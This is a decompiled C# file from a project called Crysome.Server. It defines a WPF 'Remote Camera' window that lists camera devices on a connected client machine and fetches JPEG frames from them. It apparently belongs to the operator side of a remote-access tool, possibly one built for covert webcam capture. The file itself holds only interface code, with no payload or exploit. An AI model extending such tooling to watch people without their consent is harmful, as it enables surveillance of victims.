Files
crysome/Crysome.Server/Crysome.Server.View/RemoteCameraWindow.cs
T
2026-08-27 11:22:54 -06:00

175 lines
4.5 KiB
C#

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media.Imaging;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using Wpf.Ui.Controls;
namespace Crysome.Server.View;
public class RemoteCameraWindow : FluentWindow, IComponentConnector
{
private readonly ClientInfo _client;
private readonly ManageClientsViewModel _vm;
private string[] _devices = new string[0];
internal TextBlock TitleText;
internal Button RefreshBtn;
internal Button CloseBtn;
internal ComboBox CameraCombo;
internal Image CameraImage;
internal TextBlock StatusText;
private bool _contentLoaded;
public RemoteCameraWindow(ClientInfo client, ManageClientsViewModel vm)
{
InitializeComponent();
_client = client;
_vm = vm;
((Window)this).Title = "Remote Camera — " + (client?.Address ?? "?");
TitleText.Text = ((Window)this).Title;
((FrameworkElement)this).Loaded += delegate
{
_vm.Log("RemoteCamera Loaded, calling LoadCameras", "CAM");
LoadCameras();
};
}
private void LoadCameras()
{
_vm.GetCameraDevices(_client, delegate(string[] devs)
{
_devices = devs ?? new string[0];
if (_devices.Length == 0)
{
_devices = new string[1] { "(No cameras found)" };
}
CameraCombo.Items.Clear();
for (int i = 0; i < _devices.Length; i++)
{
CameraCombo.Items.Add(_devices[i] ?? ("Camera " + i));
}
if (CameraCombo.Items.Count > 0)
{
CameraCombo.SelectedIndex = 0;
}
});
}
private void RefreshBtn_Click(object sender, RoutedEventArgs e)
{
((UIElement)(object)RefreshBtn).IsEnabled = false;
StatusText.Text = "Requesting frame...";
int deviceIndex = ((_devices.Length != 0 && _devices[0] != "(No cameras found)" && CameraCombo.SelectedIndex >= 0) ? CameraCombo.SelectedIndex : 0);
_vm.RequestCameraFrame(_client, deviceIndex, delegate(byte[] jpegData)
{
((UIElement)(object)RefreshBtn).IsEnabled = true;
if (jpegData == null || jpegData.Length == 0)
{
StatusText.Text = "No frame received (no camera?).";
CameraImage.Source = null;
return;
}
try
{
BitmapImage bitmapImage = new BitmapImage();
bitmapImage.BeginInit();
bitmapImage.StreamSource = new MemoryStream(jpegData);
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
bitmapImage.EndInit();
((Freezable)bitmapImage).Freeze();
CameraImage.Source = bitmapImage;
StatusText.Text = "Frame received.";
}
catch (Exception ex)
{
StatusText.Text = "Failed to show frame: " + ex.Message;
}
});
}
private void CloseBtn_Click(object sender, RoutedEventArgs e)
{
((Window)this).Close();
}
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
{
try
{
((Window)this).DragMove();
}
catch
{
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
public void InitializeComponent()
{
if (!_contentLoaded)
{
_contentLoaded = true;
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotecamerawindow.xaml", UriKind.Relative);
Application.LoadComponent(this, resourceLocator);
}
}
[DebuggerNonUserCode]
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
void IComponentConnector.Connect(int connectionId, object target)
{
//IL_0050: Unknown result type (might be due to invalid IL or missing references)
//IL_005a: Expected O, but got Unknown
//IL_0074: Unknown result type (might be due to invalid IL or missing references)
//IL_007e: Expected O, but got Unknown
switch (connectionId)
{
case 1:
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
break;
case 2:
TitleText = (TextBlock)target;
break;
case 3:
RefreshBtn = (Button)target;
((ButtonBase)(object)RefreshBtn).Click += RefreshBtn_Click;
break;
case 4:
CloseBtn = (Button)target;
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
break;
case 5:
CameraCombo = (ComboBox)target;
break;
case 6:
CameraImage = (Image)target;
break;
case 7:
StatusText = (TextBlock)target;
break;
default:
_contentLoaded = true;
break;
}
}
}